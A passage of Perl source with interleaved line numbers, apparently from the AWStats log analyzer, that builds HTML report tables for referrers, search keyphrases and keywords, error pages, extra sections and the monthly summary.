                                my $p_h;
15451
 
                                if ($TotalSearchEnginesPages) {
15452
 
                                        $p_p =
15453
 
                                          int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
15454
 
                                                  1000 ) / 10;
15455
 
                                }
15456
 
                                if ($TotalSearchEnginesHits) {
15457
 
                                        $p_h =
15458
 
                                          int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
15459
 
                                                  1000 ) / 10;
15460
 
                                }
15461
 
                                print "<tr><td class=\"aws\">$newreferer</td>";
15462
 
                                print "<td>"
15463
 
                                  . (
15464
 
                                        $_se_referrals_p{$key} ? $_se_referrals_p{$key} : '&nbsp;' )
15465
 
                                  . "</td>";
15466
 
                                print "<td>"
15467
 
                                  . ( $_se_referrals_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
15468
 
                                print "<td>$_se_referrals_h{$key}</td>";
15469
 
                                print "<td>$p_h %</td>";
15470
 
                                print "</tr>\n";
15471
 
                                $total_p += $_se_referrals_p{$key};
15472
 
                                $total_h += $_se_referrals_h{$key};
15473
 
                                $count++;
15474
 
                        }
15475
 
                        if ($Debug) {
15476
 
                                debug(
15477
 
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
15478
 
                                        2
15479
 
                                );
15480
 
                        }
15481
 
                        $rest_p = $TotalSearchEnginesPages - $total_p;
15482
 
                        $rest_h = $TotalSearchEnginesHits - $total_h;
15483
 
                        if ( $rest_p > 0 || $rest_h > 0 ) {
15484
 
                                my $p_p;
15485
 
                                my $p_h;
15486
 
                                if ($TotalSearchEnginesPages) {
15487
 
                                        $p_p =
15488
 
                                          int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
15489
 
                                }
15490
 
                                if ($TotalSearchEnginesHits) {
15491
 
                                        $p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
15492
 
                                }
15493
 
                                print
15494
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15495
 
                                print "<td>" . ( $rest_p ? $rest_p  : '&nbsp;' ) . "</td>";
15496
 
                                print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
15497
 
                                print "<td>$rest_h</td>";
15498
 
                                print "<td>$p_h %</td>";
15499
 
                                print "</tr>\n";
15500
 
                        }
15501
 
                        &tab_end();
15502
 
                        &html_end(1);
15503
 
                }
15504
 
                if ( $HTMLOutput{'refererpages'} ) {
15505
 
                        print "$Center<a name=\"refererpages\">&nbsp;</a><br />\n";
15506
 
 
15507
 
                        # Show filter form
15508
 
                        &ShowFormFilter(
15509
 
                                "refererpagesfilter",
15510
 
                                $FilterIn{'refererpages'},
15511
 
                                $FilterEx{'refererpages'}
15512
 
                        );
15513
 
                        my $title = "$Message[41]";
15514
 
                        my $cpt   = 0;
15515
 
                        $cpt = ( scalar keys %_pagesrefs_h );
15516
 
                        &tab_head( "$title", 19, 0, 'refererpages' );
15517
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
15518
 
                        if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
15519
 
 
15520
 
                                if ( $FilterIn{'refererpages'} ) {
15521
 
                                        print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
15522
 
                                }
15523
 
                                if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
15524
 
                                        print " - ";
15525
 
                                }
15526
 
                                if ( $FilterEx{'refererpages'} ) {
15527
 
                                        print
15528
 
                                          "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
15529
 
                                }
15530
 
                                if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
15531
 
                                        print ": ";
15532
 
                                }
15533
 
                                print "$cpt $Message[28]";
15534
 
 
15535
 
#if ($MonthRequired ne 'all') {
15536
 
#       if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
15537
 
#}
15538
 
                        }
15539
 
                        else { print "$Message[102]: $cpt $Message[28]"; }
15540
 
                        print "</th>";
15541
 
                        print
15542
 
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15543
 
                        print
15544
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
15545
 
                        print "</tr>\n";
15546
 
                        $total_s = 0;
15547
 
                        my $count = 0;
15548
 
                        &BuildKeyList(
15549
 
                                $MaxRowsInHTMLOutput,
15550
 
                                $MinHit{'Refer'},
15551
 
                                \%_pagesrefs_h,
15552
 
                                (
15553
 
                                        ( scalar keys %_pagesrefs_p )
15554
 
                                        ? \%_pagesrefs_p
15555
 
                                        : \%_pagesrefs_h
15556
 
                                )
15557
 
                        );
15558
 
 
15559
 
                        foreach my $key (@keylist) {
15560
 
                                my $nompage = CleanXSS($key);
15561
 
                                if ( length($nompage) > $MaxLengthOfShownURL ) {
15562
 
                                        $nompage =
15563
 
                                          substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
15564
 
                                }
15565
 
                                my $p_p;
15566
 
                                my $p_h;
15567
 
                                if ($TotalRefererPages) {
15568
 
                                        $p_p =
15569
 
                                          int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
15570
 
                                          10;
15571
 
                                }
15572
 
                                if ($TotalRefererHits) {
15573
 
                                        $p_h =
15574
 
                                          int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
15575
 
                                          10;
15576
 
                                }
15577
 
                                print "<tr><td class=\"aws\">";
15578
 
                                &ShowURLInfo($key);
15579
 
                                print "</td>";
15580
 
                                print "<td>"
15581
 
                                  . ( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '&nbsp;' )
15582
 
                                  . "</td><td>"
15583
 
                                  . ( $_pagesrefs_p{$key} ? "$p_p %" : '&nbsp;' ) . "</td>";
15584
 
                                print "<td>"
15585
 
                                  . ( $_pagesrefs_h{$key} ? $_pagesrefs_h{$key} : '&nbsp;' )
15586
 
                                  . "</td><td>"
15587
 
                                  . ( $_pagesrefs_h{$key} ? "$p_h %" : '&nbsp;' ) . "</td>";
15588
 
                                print "</tr>\n";
15589
 
                                $total_p += $_pagesrefs_p{$key};
15590
 
                                $total_h += $_pagesrefs_h{$key};
15591
 
                                $count++;
15592
 
                        }
15593
 
                        if ($Debug) {
15594
 
                                debug(
15595
 
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
15596
 
                                        2
15597
 
                                );
15598
 
                        }
15599
 
                        $rest_p = $TotalRefererPages - $total_p;
15600
 
                        $rest_h = $TotalRefererHits - $total_h;
15601
 
                        if ( $rest_p > 0 || $rest_h > 0 ) {
15602
 
                                my $p_p;
15603
 
                                my $p_h;
15604
 
                                if ($TotalRefererPages) {
15605
 
                                        $p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
15606
 
                                }
15607
 
                                if ($TotalRefererHits) {
15608
 
                                        $p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
15609
 
                                }
15610
 
                                print
15611
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15612
 
                                print "<td>" . ( $rest_p ? $rest_p  : '&nbsp;' ) . "</td>";
15613
 
                                print "<td>" . ( $rest_p ? "$p_p %" : '&nbsp;' ) . "</td>";
15614
 
                                print "<td>$rest_h</td>";
15615
 
                                print "<td>$p_h %</td>";
15616
 
                                print "</tr>\n";
15617
 
                        }
15618
 
                        &tab_end();
15619
 
                        &html_end(1);
15620
 
                }
15621
 
                if ( $HTMLOutput{'keyphrases'} ) {
15622
 
                        print "$Center<a name=\"keyphrases\">&nbsp;</a><br />\n";
15623
 
                        &tab_head( $Message[43], 19, 0, 'keyphrases' );
15624
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15625
 
                          . Tooltip(15)
15626
 
                          . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15627
 
                        $total_s = 0;
15628
 
                        my $count = 0;
15629
 
                        &BuildKeyList(
15630
 
                                $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
15631
 
                                \%_keyphrases,        \%_keyphrases
15632
 
                        );
15633
 
                        foreach my $key (@keylist) {
15634
 
                                my $mot;
15635
 
 
15636
 
          # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15637
 
                                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15638
 
                                        $mot = CleanXSS(
15639
 
                                                DecodeKey_decodeutfkeys(
15640
 
                                                        $key, $PageCode || 'iso-8859-1'
15641
 
                                                )
15642
 
                                        );
15643
 
                                }
15644
 
                                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15645
 
                                my $p;
15646
 
                                if ($TotalKeyphrases) {
15647
 
                                        $p =
15648
 
                                          int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
15649
 
                                }
15650
 
                                print "<tr><td class=\"aws\">"
15651
 
                                  . XMLEncode($mot)
15652
 
                                  . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
15653
 
                                $total_s += $_keyphrases{$key};
15654
 
                                $count++;
15655
 
                        }
15656
 
                        if ($Debug) {
15657
 
                                debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
15658
 
                        }
15659
 
                        $rest_s = $TotalKeyphrases - $total_s;
15660
 
                        if ( $rest_s > 0 ) {
15661
 
                                my $p;
15662
 
                                if ($TotalKeyphrases) {
15663
 
                                        $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
15664
 
                                }
15665
 
                                print
15666
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
15667
 
                                print "<td>$p %</td></tr>\n";
15668
 
                        }
15669
 
                        &tab_end();
15670
 
                        &html_end(1);
15671
 
                }
15672
 
                if ( $HTMLOutput{'keywords'} ) {
15673
 
                        print "$Center<a name=\"keywords\">&nbsp;</a><br />\n";
15674
 
                        &tab_head( $Message[44], 19, 0, 'keywords' );
15675
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15676
 
                          . Tooltip(15)
15677
 
                          . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15678
 
                        $total_s = 0;
15679
 
                        my $count = 0;
15680
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
15681
 
                                \%_keywords, \%_keywords );
15682
 
                        foreach my $key (@keylist) {
15683
 
                                my $mot;
15684
 
 
15685
 
          # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
15686
 
                                if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
15687
 
                                        $mot = CleanXSS(
15688
 
                                                DecodeKey_decodeutfkeys(
15689
 
                                                        $key, $PageCode || 'iso-8859-1'
15690
 
                                                )
15691
 
                                        );
15692
 
                                }
15693
 
                                else { $mot = CleanXSS( DecodeEncodedString($key) ); }
15694
 
                                my $p;
15695
 
                                if ($TotalKeywords) {
15696
 
                                        $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
15697
 
                                }
15698
 
                                print "<tr><td class=\"aws\">"
15699
 
                                  . XMLEncode($mot)
15700
 
                                  . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
15701
 
                                $total_s += $_keywords{$key};
15702
 
                                $count++;
15703
 
                        }
15704
 
                        if ($Debug) {
15705
 
                                debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
15706
 
                        }
15707
 
                        $rest_s = $TotalKeywords - $total_s;
15708
 
                        if ( $rest_s > 0 ) {
15709
 
                                my $p;
15710
 
                                if ($TotalKeywords) {
15711
 
                                        $p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
15712
 
                                }
15713
 
                                print
15714
 
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
15715
 
                                print "<td>$p %</td></tr>\n";
15716
 
                        }
15717
 
                        &tab_end();
15718
 
                        &html_end(1);
15719
 
                }
15720
 
                foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
15721
 
                        if ( $HTMLOutput{"errors$code"} ) {
15722
 
                                print "$Center<a name=\"errors$code\">&nbsp;</a><br />\n";
15723
 
                                &tab_head( $Message[47], 19, 0, "errors$code" );
15724
 
                                print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
15725
 
                                  . ( scalar keys %_sider404_h )
15726
 
                                  . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n";
15727
 
                                $total_h = 0;
15728
 
                                my $count = 0;
15729
 
                                &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h,
15730
 
                                        \%_sider404_h );
15731
 
                                foreach my $key (@keylist) {
15732
 
                                        my $nompage = XMLEncode( CleanXSS($key) );
15733
 
 
15734
 
#if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
15735
 
                                        my $referer = XMLEncode( CleanXSS( $_referer404_h{$key} ) );
15736
 
                                        print "<tr><td class=\"aws\">$nompage</td>";
15737
 
                                        print "<td>$_sider404_h{$key}</td>";
15738
 
                                        print "<td class=\"aws\">"
15739
 
                                          . ( $referer ? "$referer" : "&nbsp;" ) . "</td>";
15740
 
                                        print "</tr>\n";
15741
 
                                        $total_s += $_sider404_h{$key};
15742
 
                                        $count++;
15743
 
                                }
15744
 
 
15745
 
# TODO Build TotalErrorHits
15746
 
#                       if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
15747
 
#                       $rest_h=$TotalErrorHits-$total_h;
15748
 
#                       if ($rest_h > 0) {
15749
 
#                               my $p;
15750
 
#                               if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
15751
 
#                               print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
15752
 
#                               print "<td>$rest_h</td>";
15753
 
#                               print "<td>...</td>";
15754
 
#                               print "</tr>\n";
15755
 
#                       }
15756
 
                                &tab_end();
15757
 
                                &html_end(1);
15758
 
                        }
15759
 
                }
15760
 
 
15761
 
                # BY EXTRA SECTIONS
15762
 
                #----------------------------
15763
 
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
15764
 
                        if ( $HTMLOutput{"allextra$extranum"} ) {
15765
 
                                if ($Debug) { debug( "ExtraName$extranum", 2 ); }
15766
 
                                print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
15767
 
                                my $title = $ExtraName[$extranum];
15768
 
                                &tab_head( "$title", 19, 0, "extra$extranum" );
15769
 
                                print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
15770
 
                                print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
15771
 
 
15772
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15773
 
                                        print
15774
 
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
15775
 
                                }
15776
 
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15777
 
                                        print
15778
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15779
 
                                }
15780
 
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15781
 
                                        print
15782
 
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
15783
 
                                }
15784
 
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15785
 
                                        print "<th width=\"120\">$Message[9]</th>";
15786
 
                                }
15787
 
                                print "</tr>\n";
15788
 
                                $total_p = $total_h = $total_k = 0;
15789
 
 
15790
 
         #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
15791
 
         #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
15792
 
                                my $count = 0;
15793
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15794
 
                                        &BuildKeyList(
15795
 
                                                $MaxRowsInHTMLOutput,
15796
 
                                                $MinHitExtra[$extranum],
15797
 
                                                \%{ '_section_' . $extranum . '_h' },
15798
 
                                                \%{ '_section_' . $extranum . '_p' }
15799
 
                                        );
15800
 
                                }
15801
 
                                else {
15802
 
                                        &BuildKeyList(
15803
 
                                                $MaxRowsInHTMLOutput,
15804
 
                                                $MinHitExtra[$extranum],
15805
 
                                                \%{ '_section_' . $extranum . '_h' },
15806
 
                                                \%{ '_section_' . $extranum . '_h' }
15807
 
                                        );
15808
 
                                }
15809
 
                                my %keysinkeylist = ();
15810
 
                                foreach my $key (@keylist) {
15811
 
                                        $keysinkeylist{$key} = 1;
15812
 
                                        my $firstcol = CleanXSS( DecodeEncodedString($key) );
15813
 
                                        $total_p += ${ '_section_' . $extranum . '_p' }{$key};
15814
 
                                        $total_h += ${ '_section_' . $extranum . '_h' }{$key};
15815
 
                                        $total_k += ${ '_section_' . $extranum . '_k' }{$key};
15816
 
                                        print "<tr>";
15817
 
                                        printf(
15818
 
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
15819
 
                                                $firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
15820
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15821
 
                                                print "<td>"
15822
 
                                                  . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
15823
 
                                        }
15824
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15825
 
                                                print "<td>"
15826
 
                                                  . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
15827
 
                                        }
15828
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15829
 
                                                print "<td>"
15830
 
                                                  . Format_Bytes(
15831
 
                                                        ${ '_section_' . $extranum . '_k' }{$key} )
15832
 
                                                  . "</td>";
15833
 
                                        }
15834
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15835
 
                                                print "<td>"
15836
 
                                                  . (
15837
 
                                                        ${ '_section_' . $extranum . '_l' }{$key}
15838
 
                                                        ? Format_Date(
15839
 
                                                                ${ '_section_' . $extranum . '_l' }{$key}, 1 )
15840
 
                                                        : '-'
15841
 
                                                  )
15842
 
                                                  . "</td>";
15843
 
                                        }
15844
 
                                        print "</tr>\n";
15845
 
                                        $count++;
15846
 
                                }
15847
 
 
15848
 
                                # If we ask average or sum, we loop on all other records
15849
 
                                if (   $ExtraAddAverageRow[$extranum]
15850
 
                                        || $ExtraAddSumRow[$extranum] )
15851
 
                                {
15852
 
                                        foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
15853
 
                                                if ( $keysinkeylist{$_} ) { next; }
15854
 
                                                $total_p += ${ '_section_' . $extranum . '_p' }{$_};
15855
 
                                                $total_h += ${ '_section_' . $extranum . '_h' }{$_};
15856
 
                                                $total_k += ${ '_section_' . $extranum . '_k' }{$_};
15857
 
                                                $count++;
15858
 
                                        }
15859
 
                                }
15860
 
 
15861
 
                                # Add average row
15862
 
                                if ( $ExtraAddAverageRow[$extranum] ) {
15863
 
                                        print "<tr>";
15864
 
                                        print "<td class=\"aws\"><b>$Message[96]</b></td>";
15865
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15866
 
                                                print "<td>"
15867
 
                                                  . ( $count ? ( $total_p / $count ) : "&nbsp;" )
15868
 
                                                  . "</td>";
15869
 
                                        }
15870
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15871
 
                                                print "<td>"
15872
 
                                                  . ( $count ? ( $total_h / $count ) : "&nbsp;" )
15873
 
                                                  . "</td>";
15874
 
                                        }
15875
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15876
 
                                                print "<td>"
15877
 
                                                  . (
15878
 
                                                        $count
15879
 
                                                        ? Format_Bytes( $total_k / $count )
15880
 
                                                        : "&nbsp;"
15881
 
                                                  )
15882
 
                                                  . "</td>";
15883
 
                                        }
15884
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15885
 
                                                print "<td>&nbsp;</td>";
15886
 
                                        }
15887
 
                                        print "</tr>\n";
15888
 
                                }
15889
 
 
15890
 
                                # Add sum row
15891
 
                                if ( $ExtraAddSumRow[$extranum] ) {
15892
 
                                        print "<tr>";
15893
 
                                        print "<td class=\"aws\"><b>$Message[102]</b></td>";
15894
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
15895
 
                                                print "<td>" . ($total_p) . "</td>";
15896
 
                                        }
15897
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
15898
 
                                                print "<td>" . ($total_h) . "</td>";
15899
 
                                        }
15900
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
15901
 
                                                print "<td>" . Format_Bytes($total_k) . "</td>";
15902
 
                                        }
15903
 
                                        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
15904
 
                                                print "<td>&nbsp;</td>";
15905
 
                                        }
15906
 
                                        print "</tr>\n";
15907
 
                                }
15908
 
                                &tab_end();
15909
 
                                &html_end(1);
15910
 
                        }
15911
 
                }
15912
 
                if ( $HTMLOutput{'info'} ) {
15913
 
 
15914
 
                        # Not yet available
15915
 
                        print "$Center<a name=\"info\">&nbsp;</a><br />";
15916
 
                        &html_end(1);
15917
 
                }
15918
 
 
15919
 
                my $htmloutput = '';
15920
 
                foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; }
15921
 
                if ( $htmloutput =~ /^plugin_(\w+)$/ ) {
15922
 
                        my $pluginname = $1;
15923
 
                        print "$Center<a name=\"plugin_$pluginname\">&nbsp;</a><br />";
15924
 
 
15925
 
                        #                       my $function="AddHTMLGraph_$pluginname()";
15926
 
                        #                       eval("$function");
15927
 
                        my $function = "AddHTMLGraph_$pluginname";
15928
 
                        &$function();
15929
 
                        &html_end(1);
15930
 
                }
15931
 
        }
15932
 
 
15933
 
        # Output main page
15934
 
        #-----------------
15935
 
 
15936
 
        if ( $HTMLOutput{'main'} ) {
15937
 
 
15938
 
                # SUMMARY
15939
 
                #---------------------------------------------------------------------
15940
 
                if ($ShowSummary) {
15941
 
                        if ($Debug) { debug( "ShowSummary", 2 ); }
15942
 
 
15943
 
                        #print "$Center<a name=\"summary\">&nbsp;</a><br />\n";
15944
 
                        my $title = "$Message[128]";
15945
 
                        &tab_head( "$title", 0, 0, 'month' );
15946
 
 
15947
 
                        my $NewLinkParams = ${QueryString};
15948
 
                        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
15949
 
                        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
15950
 
                        $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
15951
 
                        $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
15952
 
                        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
15953
 
                        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
15954
 
                        $NewLinkParams =~ s/^&amp;//;
15955
 
                        $NewLinkParams =~ s/&amp;$//;
15956
 
                        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
15957
 
                        my $NewLinkTarget = '';
15958
 
 
15959
 
                        if ( $FrameName eq 'mainright' ) {
15960
 
                                $NewLinkTarget = " target=\"_parent\"";
15961
 
                        }
15962
 
 
15963
 
                        # Ratio
15964
 
                        my $RatioVisits = 0;
15965
 
                        my $RatioPages  = 0;
15966
 
                        my $RatioHits   = 0;
15967
 
                        my $RatioBytes  = 0;
15968
 
                        if ( $TotalUnique > 0 ) {
15969
 
                                $RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100;
15970
 
                        }
15971
 
                        if ( $TotalVisits > 0 ) {
15972
 
                                $RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100;
15973
 
                        }
15974
 
                        if ( $TotalVisits > 0 ) {
15975
 
                                $RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100;
15976
 
                        }
15977
 
                        if ( $TotalVisits > 0 ) {
15978
 
                                $RatioBytes =
15979
 
                                  int( ( $TotalBytes / 1024 ) * 100 /
15980
 
                                          ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100;
15981
 
                        }
15982
 
 
15983
 
                        my $colspan = 5;
15984
 
                        my $w       = '20';
15985
 
                        if ( $LogType eq 'W' || $LogType eq 'S' ) {
15986
 
                                $w       = '17';
15987
 
                                $colspan = 6;
15988
 
                        }
15989
 
 
15990
 
                        # Show first/last
15991
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
15992
 
                        print
15993
 
"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\""
15994
 
                          . ( $colspan - 1 ) . "\">\n";
15995
 
                        print( $MonthRequired eq 'all'
15996
 
                                ? "$Message[6] $YearRequired"
15997
 
                                : "$Message[5] "
15998
 
                                  . $MonthNumLib{$MonthRequired}
15999
 
                                  . " $YearRequired"
16000
 
                        );
16001
 
                        print "</td></tr>\n";
16002
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16003
 
                        print "<td class=\"aws\"><b>$Message[8]</b></td>\n";
16004
 
                        print "<td class=\"aws\" colspan=\""
16005
 
                          . ( $colspan - 1 ) . "\">"
16006
 
                          . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>";
16007
 
                        print "</tr>\n";
16008
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
16009
 
                        print "<td class=\"aws\"><b>$Message[9]</b></td>\n";
16010
 
                        print "<td class=\"aws\" colspan=\""
16011
 
                          . ( $colspan - 1 ) . "\">"
16012
 
                          . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" )
16013
 
                          . "</td>\n";
16014
 
                        print "</tr>\n";
16015
 
 
16016
 
                        # Show main indicators title row
16017
 
                        print "<tr>";
16018
 
                        if ( $LogType eq 'W' || $LogType eq 'S' ) {
16019
 
                                print "<td bgcolor=\"#$color_TableBGTitle\">&nbsp;</td>";
16020
 
                        }
16021
 
                        if ( $ShowSummary =~ /U/i ) {
16022
 
                                print "<td width=\"$w%\" bgcolor=\"#$color_u\""
16023
 
                                  . Tooltip(2)
16024
 
                                  . ">$Message[11]</td>";
16025
 
                        }
16026
 
                        else {
16027
 
                                print
16028
 
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
16029
 
                        }
16030
 
                        if ( $ShowSummary =~ /V/i ) {
16031
 
                                print "<td width=\"$w%\" bgcolor=\"#$color_v\""
16032
 
                                  . Tooltip(1)
16033
 
                                  . ">$Message[10]</td>";
16034
 
                        }
16035
 
                        else {
16036
 
                                print
16037
 
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
16038
 
                        }
16039
 
                        if ( $ShowSummary =~ /P/i ) {
16040
 
                                print "<td width=\"$w%\" bgcolor=\"#$color_p\""
16041
 
                                  . Tooltip(3)
16042
 
                                  . ">$Message[56]</td>";
16043
 
                        }
16044
 
                        else {
16045
 
                                print
16046
 
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
16047
 
                        }
16048
 
                        if ( $ShowSummary =~ /H/i ) {
16049
 
                                print "<td width=\"$w%\" bgcolor=\"#$color_h\""
16050
 
                                  . Tooltip(4)
16051
 
                                  . ">$Message[57]</td>";
16052
 
                        }
16053
 
                        else {
16054
 
                                print
16055
 
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
16056
 
                        }
16057
 
                        if ( $ShowSummary =~ /B/i ) {
16058
 
                                print "<td width=\"$w%\" bgcolor=\"#$color_k\""
16059
 
                                  . Tooltip(5)
16060
 
                                  . ">$Message[75]</td>";
16061
 
                        }
16062
 
                        else {
16063
 
                                print
16064
 
"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\">&nbsp;</td>";
16065
 
                        }
16066
 
                        print "</tr>\n";
16067
 
 
16068
 
                        # Show main indicators values for viewed traffic
16069
 
                        print "<tr>";
16070
 
                        if ( $LogType eq 'M' ) {
16071
 
                                print "<td class=\"aws\">$Message[165]</td>";
16072
 
                                print "<td>&nbsp;<br />&nbsp;</td>\n";
16073
 
                                print "<td>&nbsp;<br />&nbsp;</td>\n";
16074
 
                                if ( $ShowSummary =~ /H/i ) {
16075
 
                                        print "<td><b>$TotalHits</b>"
16076
 
                                          . (
16077
 
                                                $LogType eq 'M'
16078
 
                                                ? ""
16079
 
                                                : "<br />($RatioHits&nbsp;"
16080
 
                                                  . lc( $Message[57] . "/" . $Message[12] ) . ")"
16081
 
                                          )
16082
 
                                          . "</td>";
16083
 
                                }
16084
 
                                else { print "<td>&nbsp;</td>"; }
16085
 
                                if ( $ShowSummary =~ /B/i ) {
16086
 
                                        print "<td><b>"
16087
 
                                          . Format_Bytes( int($TotalBytes) )
16088
 
                                          . "</b><br />($RatioBytes&nbsp;$Message[108]/"
16089
 
                                          . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
16090
 
                                          . ")</td>";
16091
 
                                }
16092
 
                                else { print "<td>&nbsp;</td>"; }
16093
 
                        }
16094
 
                        else {
16095
 
                                if ( $LogType eq 'W' || $LogType eq 'S' ) {
16096
 
                                        print "<td class=\"aws\">$Message[160]&nbsp;*</td>";
16097
 
                                }
16098
 
                                if ( $ShowSummary =~ /U/i ) {
16099
 
                                        print "<td>"
16100
 
                                          . (
16101
 
